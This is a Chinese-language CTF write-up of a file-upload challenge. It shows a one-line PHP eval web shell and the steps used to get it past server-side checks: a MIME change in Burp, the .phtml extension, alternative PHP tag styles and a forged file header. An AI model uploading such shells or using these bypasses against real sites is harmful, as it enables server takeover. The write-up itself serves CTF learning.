目录
题目:
分析:
题目:
分析:
一个文件上传漏洞
上传一个1.php文件内容为:<?php eval($_POST[1]);?>
发现报错。
查看源代码,没有关于过滤的代码,说明是后端进行的过滤。
bp抓包:修改MIME
报错说不能是php文件 、绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht,这些后缀名都可以被当做php文件执行
发现只要phtml文件可以使用,修改后缀为phtml
phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析
PHT文件是一个HTML页面,其中包括一个PHP脚本
发现提示说文件中包含了<?
那么我们就用PHP另外的代码风格
php4种常见风格标签写法
1:正常写法
<?php
echo '1111';
?>
2:短标签
<?
echo '1111';
?>
5.4 起 <?= 'hello'; === <? echo 'hello';
<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
<?需要 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。
而自 PHP5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。
3:asp风格写法
<%
echo '1111';
%>
(注释:这种写法在php配置中默认关闭了的,如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。)
4:长标签风格
<script language="php">
XXXXXX
</script>
结果还是报错,那么再伪造头部
成功上传!
最后还得访问这个文件:一般文件上传后都会放在url/upload/文件名